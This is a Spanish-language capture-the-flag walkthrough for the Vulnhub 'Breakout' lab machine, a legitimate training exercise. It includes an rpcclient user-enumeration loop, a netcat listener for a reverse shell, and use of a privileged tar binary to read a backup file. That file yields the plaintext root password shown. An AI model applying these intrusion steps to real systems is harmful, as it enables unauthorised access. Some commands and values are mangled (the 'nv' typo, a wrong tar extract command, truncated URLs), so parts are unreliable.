Vulnhub - Breakout
Máquina Linux de nivel Easy de Vulnhub.
Técnicas usadas: Information Leakage, RPC (User Enumeration)
Fase de Reconocimiento 🧣
a. Enumeramos los puertos que están abiertos.
b. Vemos las versiones de los servicios que se están ejecutando en los puertos.
c. Al fijarnos en el código fuente de la página web (**http://
1
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.
- Lo decodeamos en dcode y la veremos en texto claro .2uqPEfj3D<P’a-3
Como no tenemos un usuario válido, lo que haremos es enumerarlos con rpcclient
1 2 3 4 5
cat /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt | while read username; do rpcclient -N -U "" <IP Breakout> -c "lookupnames $username"; done | grep -v "NT_STATUS_NONE_MAPPED" <SNIP> cyber S-1-22-1-1000 (User: 1) <SNIP>
d. El usuario cyber* es válido para **https://
Una vez logueados en el panel de Usermin lo que haremos es ponernos en escucha
nc -lvnp 443
y enviarnos una shell1 2
-$ nv -lvnp 443 cyber@breakout:~$
Escalada de Privilegios 💹
a. Vemos un binario tar en el directorio de cyber
1
-rwxr-xr-x 1 root root 531928 Oct 19 2021 tar
b. En /var/backups/ vemos fichero .old_pass.bak el cual comprimiremos usando el binario tar que está en el directorio personal de cyber
1
cyber@breakout:~$ ./tar -cf compress.tar /var/backups/.old_pass.bak
Ahora, descomprimimos
tar -cf compress.tar
, ahora ya podemos ver el contenido de .old_pass.bak el cual contiene una credencial en texto claro Ts&4&YurgtRX(=~h, usaremos esta contraseña para convertirnos en el usuario root1 2 3
cyber@breakout:~/var/backups$ su root Password: Ts&4&YurgtRX(=~h root@breakout:/home/cyber/var/backups#